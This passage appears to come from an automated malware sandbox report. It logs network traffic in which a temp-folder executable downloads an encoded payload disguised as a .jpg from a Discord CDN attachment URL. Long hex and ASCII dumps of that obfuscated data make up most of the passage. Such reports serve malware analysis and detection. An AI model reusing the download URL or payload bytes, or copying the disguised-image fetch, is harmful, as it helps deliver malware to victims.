20 4f 20 45 58 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 57 4a 20 4f 20 71 71 Data Ascii: OW O WD O mX O DM O DW O DW O mE O Wq O XW O Ep O qOW O WD O qOJ O qqq O WD O mE O qOD O mE O mE O mM O qqX O Em O qqM O qOp O qOp O DW O XD O XM O qqX O qqW O qOp O mp O Xm O WJ O XW O XM O qqD O EO O DM O Ep O XO O WJ O DW O qOX O EX O XE O XD O WJ O qq
2021-10-29 18:29:49 UTC	759	IN	Data Raw: 4a 4f 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 57 45 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 71 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 57 71 20 4f 20 57 4f 20 4f 20 45 45 20 4f 20 71 71 4f 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 44 44 20 4f 20 57 4a 20 4f Data Ascii: JO O DD O Xq O Wm O DW O EE O qqX O DW O DW O DD O MO O XE O XM O EX O WE O DE O DW O DD O qOq O qOO O DW O ED O Wq O WO O EE O qqO O DX O XD O XM O qqX O qqW O XW O XM O EX O qOX O mE O DW O DD O Xm O XD O qOX O qOq O ED O qOJ O Xq O qOW O ED O DD O WJ O
2021-10-29 18:29:49 UTC	775	IN	Data Raw: 4f 20 71 71 57 20 4f 20 45 4f 20 4f 20 57 6d 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 45 4a 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 71 4f 45 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4a 20 4f 20 57 70 20 4f 20 4d 45 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 6d 20 4f 20 58 57 20 4f 20 45 70 20 4f 20 71 4f 4d 20 Data Ascii: O qqW O EO O Wm O DM O WD O DM O DW O DW O DW O Wp O EJ O MX O qOp O DD O Xq O Xq O DD O mM O DE O DX O qOE O qOO O qqX O DW O EO O DD O DW O EJ O XJ O Wp O ME O DD O qOp O DE O DW O DW O DE O EX O qOm O qOq O qOD O WW O mE O mE O WE O Xm O XW O Ep O qOM
2021-10-29 18:29:49 UTC	791	IN	Data Raw: 20 71 4f 70 20 4f 20 44 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 57 4a 20 4f 20 71 71 57 20 4f 20 45 4a 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 45 20 4f 20 71 4f 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 71 4f 44 20 4f 20 58 58 20 4f 20 4d 4d 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 4d Data Ascii: qOp O DM O qOW O XW O qOp O Ep O qOW O XW O qOp O EE O qOW O XW O qOp O Xq O qOW O XW O qOp O XW O qqM O WJ O qqW O EJ O qOm O MM O DD O mX O DE O qOX O DX O mE O EO O MM O qJJ O DW O Xq O DW O DE O DX O Em O qqM O DD O XE O qOD O XX O MM O qqq O Wm O EM
2021-10-29 18:29:49 UTC	807	IN	Data Raw: 20 44 57 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 71 4f 45 20 4f 20 44 4d 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 71 4f 45 20 4f 20 45 71 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 44 58 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 71 4f 57 20 4f 20 6d 70 20 4f 20 71 4a 4f 20 4f 20 58 4a 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 4a 20 4f Data Ascii: DW O XE O XM O mM O DM O DW O DW O Em O Xq O mE O Wq O Xq O qOE O DM O Eq O qqq O DD O ME O qOp O DX O mE O qOO O DE O Xq O XM O mE O Wq O Xq O qOE O Eq O XO O WD O XD O DX O EE O DD O DW O DW O EE O EX O XD O qOW O mp O qJO O XJ O XD O qOM O qOp O qOJ O
2021-10-29 18:29:49 UTC	823	IN	Data Raw: 4f 20 71 4f 4a 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 58 44 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 6d 70 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 57 4a 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 71 4a 20 4f 20 71 4f 58 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 4d 4d 20 Data Ascii: O qOJ O qqM O qOp O qOp O DW O XW O XD O EX O XD O XD O qOX O qOq O ED O mp O XM O qqD O EJ O DM O Ep O WO O XO O qOq O DW O EE O DW O DW O EM O qOW O MX O qOm O qOJ O mE O mE O qOW O WD O mE O qqq O ED O WJ O XX O mE O mE O WO O qqJ O qOX O mE O Wq O MM
2021-10-29 18:29:49 UTC	839	IN	Data Raw: 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 4a 71 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 57 6d 20 4f 20 45 4f 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 71 71 20 4f 20 58 44 20 4f 20 45 58 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 4a 71 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 57 6d 20 4f 20 44 58 20 4f 20 57 57 20 4f Data Ascii: O mM O DW O DW O Ep O mM O EO O qJq O EO O DE O EX O qqD O qJO O qOp O DM O DW O DW O DD O Xm O Wm O EO O XO O mp O mE O mE O WE O qqq O XD O EX O mM O DW O DW O Ep O mM O EO O qJq O EO O DE O EX O qqD O qJO O qOp O Eq O DW O DW O DD O Xm O Wm O DX O WW O
2021-10-29 18:29:49 UTC	855	IN	Data Raw: 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 57 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 4f 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 4d 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 71 71 45 20 4f 20 45 45 Data Ascii: EE O DW O DW O EO O ED O qOD O DW O DW O DD O EW O WJ O qqM O DW O DW O Xq O qqE O EE O DW O DW O ED O qOD O qOD O DW O DW O DX O DW O WJ O qqM O DW O DW O qJJ O qqE O EE O DW O DW O Eq O qJJ O qOD O DW O DW O DX O XM O WJ O qqM O DW O DW O EX O qqE O EE
2021-10-29 18:29:49 UTC	871	IN	Data Raw: 20 45 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 70 20 4f Data Ascii: EW O qOp O DW O qqE O DW O DE O qqq O DW O DW O DW O DD O qOD O DW O Eq O XM O DW O MO O qqM O DW O DW O DW O DE O qqq O DW O ED O qOp O DD O qOD O DW O Eq O XM O DW O MO O qqM O DW O DW O DW O DE O Ep O DW O Em O Xq O DD O qJJ O DW O DE O Ep O DW O Ep O
2021-10-29 18:29:49 UTC	887	IN	Data Raw: 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 4d 20 4f 20 4d 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 45 20 4f 20 57 71 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 45 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 57 70 20 4f 20 6d 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 57 20 4f 20 45 44 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 71 71 6d 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 4a 20 4f 20 6d Data Ascii: MO O qqM O Xq O DW O DE O qOM O MM O DM O DW O DW O qOE O Wq O Em O DW O DW O Ep O EW O DD O Xq O DW O DX O qOE O qOp O XW O DW O DW O WE O XX O qqJ O DW O DW O EX O Wp O mp O Xq O DW O DX O qqW O ED O DM O DW O DW O XE O qqm O Em O DW O DW O EM O XJ O m
2021-10-29 18:29:49 UTC	903	IN	Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 45 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 71 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4a 4a 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 45 20 4f 20 57 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 Data Ascii: O DW O DW O WJ O qqM O DW O DW O DW O qOm O EM O DM O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DM O qqE O XW O DW O DW O EO O qJJ O DE O DW O DW O DE O EE O Wq O qqM O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE
2021-10-29 18:29:49 UTC	919	IN	Data Raw: 4f 20 71 4a 4f 20 4f 20 71 71 4d 20 4f 20 45 58 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 57 71 20 4f 20 58 4a 20 4f 20 71 4a 71 20 4f 20 58 4d 20 4f 20 57 71 20 4f 20 44 44 20 4f 20 57 70 20 4f 20 58 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 71 4d 20 4f 20 45 6d 20 4f 20 45 45 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 58 57 20 4f 20 71 4f 4d 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 58 44 20 4f 20 71 4a 71 20 4f 20 58 4d 20 4f 20 57 4f 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 6d 58 20 4f 20 44 58 20 4f 20 4d 58 20 4f 20 45 4a 20 4f 20 45 58 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 71 4a 4f 20 4f 20 71 4f 58 20 4f 20 Data Ascii: O qJO O qqM O EX O qqW O MM O Wq O XJ O qJq O XM O Wq O DD O Wp O XD O qqM O DW O DW O XD O qqM O Em O EE O MX O WO O EO O qOE O XW O qOM O XD O qJJ O MX O Wq O XD O qJq O XM O WO O XW O DW O DW O EE O mX O DX O MX O EJ O EX O mX O MM O qOM O qJO O qOX O
2021-10-29 18:29:49 UTC	935	IN	Data Raw: 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 58 6d 20 4f 20 45 45 20 4f 20 71 71 4d 20 4f 20 71 71 57 20 4f 20 71 4a 4a 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 71 4f 4a 20 4f 20 71 71 6d 20 4f 20 71 4f 71 20 4f 20 71 4a 4f 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 58 70 20 4f 20 71 4f 58 20 4f 20 71 71 71 20 4f 20 71 4f 57 20 4f 20 58 6d 20 4f 20 71 4f 45 20 4f 20 71 71 70 20 4f 20 57 6d 20 4f 20 71 71 71 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 58 4f 20 4f 20 71 71 58 20 4f 20 57 70 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 4a 4f 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 45 44 20 4f 20 71 4f 6d 20 4f 20 71 Data Ascii: W O DW O DW O DW O DW O DW O DW O DW O DW O DX O qJO O mM O WD O Xm O EE O qqM O qqW O qJJ O ED O qJJ O qOJ O qqm O qOq O qJO O Ep O XX O Xp O qOX O qqq O qOW O Xm O qOE O qqp O Wm O qqq O Wq O qqX O XO O qqX O Wp O mp O qqX O qJO O mE O XO O ED O qOm O q
2021-10-29 18:29:49 UTC	951	IN	Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 71 71 4d 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O EX O qqM O MX O DW O qOp O DW O WO O DW O qqM O DW O DW O Wp O DW O Xq O DW O DW O DW O DW O DW O DW O DW O DW O XW O EJ O qqM O Ep O DW O EW O qOp O DM O DW O DW O EM O Xq O DM O DW O DW O DW O DW O DW O DW O DW
2021-10-29 18:29:49 UTC	967	IN	Data Raw: 71 71 4f 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 6d 20 4f 20 71 4f 70 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 71 4f 4a 20 4f 20 58 57 20 4f 20 71 71 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 4a 20 4f 20 71 4f 4d 20 4f 20 71 4a 4f 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 58 57 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 71 58 20 4f 20 58 57 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 4d 58 20 4f 20 71 4f 57 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 57 71 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 57 70 20 4f 20 57 4f 20 4f Data Ascii: qqO O mE O WD O Wm O qOp O mE O WD O qqE O MM O qOJ O XW O qqD O Em O DW O DW O DW O DW O DW O DW O DW O DW O qqJ O qOM O qJO O ME O qqX O XW O qqD O ED O qqX O XW O qqD O ED O qOp O Xm O Xq O mX O mX O MX O qOW O WJ O qqE O Wq O WE O mE O qqE O Wp O WO O
2021-10-29 18:29:49 UTC	983	IN	Data Raw: 71 70 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 71 20 4f 20 71 71 45 20 4f 20 44 4d 20 4f 20 71 4f 58 20 4f 20 71 4f 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 4a 20 4f 20 71 4f 4d 20 4f 20 71 4a 4f 20 4f 20 4d 45 20 4f 20 71 71 58 20 4f 20 58 57 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 71 71 6d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 71 4f 44 20 4f 20 57 4a 20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 71 4f 44 20 4f 20 57 4a 20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 71 4f 44 20 4f 20 57 4a 20 4f 20 6d 70 20 4f 20 58 4f 20 4f 20 71 4f 44 20 4f 20 57 4a 20 4f 20 6d 70 20 4f 20 58 4f Data Ascii: qp O qOO O WW O qqq O qqE O DM O qOX O qOM O qOO O qOW O DW O DW O DW O DW O DW O DW O DW O DW O qqJ O qOM O qJO O ME O qqX O XW O qqD O ED O qqm O XX O EX O qJJ O mp O XO O qOD O WJ O mp O XO O qOD O WJ O mp O XO O qOD O WJ O mp O XO O qOD O WJ O mp O XO
2021-10-29 18:29:49 UTC	999	IN	Data Raw: 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 45 45 20 4f 20 71 4a 4f 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 45 45 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 71 4a 71 20 4f 20 57 44 20 4f 20 71 4a 4a 20 4f 20 45 71 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 45 45 20 4f 20 71 4a 4f 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 45 45 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 71 4a 71 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 45 4d 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 44 45 20 4f 20 58 4a 20 4f 20 58 6d 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 4d 4d 20 Data Ascii: O WD O qqX O EE O qJO O qqX O mE O ED O qJJ O EE O MX O mE O qJq O WD O qJJ O Eq O mE O WD O qqX O EE O qJO O qqX O mE O ED O qJJ O EE O MX O mE O qJq O MM O qOW O Wq O mE O Wm O EM O DX O DW O XO O WE O DW O EX O qqM O qOD O DE O XJ O Xm O qqW O Eq O MM

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49774	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B82B.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:29:50 UTC	1000	OUT	GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-10-29 18:29:50 UTC	1001	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:50 GMT Content-Type: image/jpeg Content-Length: 257637 Connection: close CF-Ray: 6a5e78bc2bec1772-FRA Accept-Ranges: bytes Age: 32550 Cache-Control: public, max-age=31536000 ETag: "3943342e1b45e890a729310467090869" Expires: Sat, 29 Oct 2022 18:29:50 GMT Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635499591484284 x-goog-hash: crc32c=wAW+lg== x-goog-hash: md5=OUM0LhtF6JCnKTEEZwkIaQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 257637 X-GUploader-UploadID: ADPycdsh_0GH4h67GfM4DXv45AAKX5J9KadQOaoJgeenVA8XggFohgRrUig2qws-RHRUWddueA29G7svcIC2IfMWyq3dEjwegQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cUuh0NZFGFRn39GIrhXS82yw69UarJ9m2tP7T3q1v2udyH9MErWM4MRaFyz%2FY3ey4TpiyluSfjATN0XdLgL4V9ewQfBHezGSi7OZPP1FpyiaajptCREfSq%2FKn9bhCzF%2B3FlDQQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:29:50 UTC	1002	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:29:50 UTC	1002	IN	Data Raw: 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 Data Ascii: O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O q
